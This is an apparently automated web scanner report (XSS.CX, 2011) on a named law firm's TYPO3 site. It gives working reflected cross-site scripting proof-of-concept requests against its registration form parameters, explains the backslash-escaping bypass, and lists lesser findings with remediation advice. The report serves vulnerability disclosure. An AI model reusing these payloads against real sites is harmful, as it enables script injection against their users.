This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith9168b\'%3balert(1)//a686935bb7e&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <![CDATA[*/ updateForm('fe_users_form','FE[fe_users][username]','RonaldSmith9168b\\';alert(1)//a686935bb7e'); updateForm('fe_users_form','FE[fe_users][password]','3'); updateForm('fe_users_form','FE[fe_users][usergroup][]','1'); updateForm('fe_users_form','FE[fe_users][name]',''); updateForm('fe_users_ ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Bzip%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bae89\'%3balert(1)//e69150d97f4 was submitted in the FE%5Bfe_users%5D%5Bzip%5D parameter. This input was echoed as bae89\\';alert(1)//e69150d97f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3bae89\'%3balert(1)//e69150d97f4&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... users_form','FE[fe_users][alias]',''); updateForm('fe_users_form','FE[fe_users][status]',''); updateForm('fe_users_form','FE[fe_users][title]','3'); updateForm('fe_users_form','FE[fe_users][zip]','3bae89\\';alert(1)//e69150d97f4'); updateForm('fe_users_form','FE[fe_users][city]','3'); updateForm('fe_users_form','FE[fe_users][zone]','AL'); updateForm('fe_users_form','FE[fe_users][static_info_country]','AFG'); updateForm('f ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Bzone%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54774\'%3balert(1)//0f6ddc84b8a was submitted in the FE%5Bfe_users%5D%5Bzone%5D parameter. This input was echoed as 54774\\';alert(1)//0f6ddc84b8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL54774\'%3balert(1)//0f6ddc84b8a&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... users_form','FE[fe_users][title]','3'); updateForm('fe_users_form','FE[fe_users][zip]','3'); updateForm('fe_users_form','FE[fe_users][city]','3'); updateForm('fe_users_form','FE[fe_users][zone]','AL54774\\';alert(1)//0f6ddc84b8a'); updateForm('fe_users_form','FE[fe_users][static_info_country]','AFG'); updateForm('fe_users_form','FE[fe_users][country]',''); updateForm('fe_users_form','FE[fe_users][language]',''); updateFor ...[SNIP]...
2. Cleartext submission of passwordpreviousnext There are 4 instances of this issue:
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <div class="tx-newloginbox-pi1">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <div class="tx-newloginbox-pi1">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <div class="tx-srfeuserregister-pi1">
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <div class="tx-newloginbox-pi1">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <div class="tx-newloginbox-pi1">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <div class="tx-srfeuserregister-pi1">
The page contains a form which POSTs data to the domain click.po155.com. The form contains the following fields:
field7
field7
field7
field
field2
field3
field4
field5
field7
field18
field18
field8
field8
field8
field8
field6
field9
UEmail
field10
field11
field12
field13
field14
field15
field16
field17
submit2
Issue background
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
Request
GET /pages/register_newsletters/index.html HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive Referer: http://www.phelpsdunbar.com/my-library-log-in/my-library/new-user/srfeuser/create.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <noscript> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="760" height="175"> <param name="movie" value="/fileadmin/20061110/small_navigation_port.swf"> ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
fe_typo_user=812d0e9a14; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /favicon.ico HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=27854845.703389798.1302905835.1302905835.1302911975.2
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
<!-- This website is powered by TYPO3 - ...[SNIP]... <a href="mailto:communications@phelps.com"> ...[SNIP]... <a href="mailto:communications@phelps.com"> ...[SNIP]...
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>404 Not Found</TITLE> <script src="/__utm.js" type="text/javascript"></script> </head><BODY> <H1>Not Found</H1> The requested URL ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>404 Not Found</TITLE> <script src="/__utm.js" type="text/javascript"></script> </head><BODY> <H1>Not Found</H1> The requested URL ...[SNIP]...
Report generated by XSS.CX at Sat Apr 16 10:50:43 CDT 2011.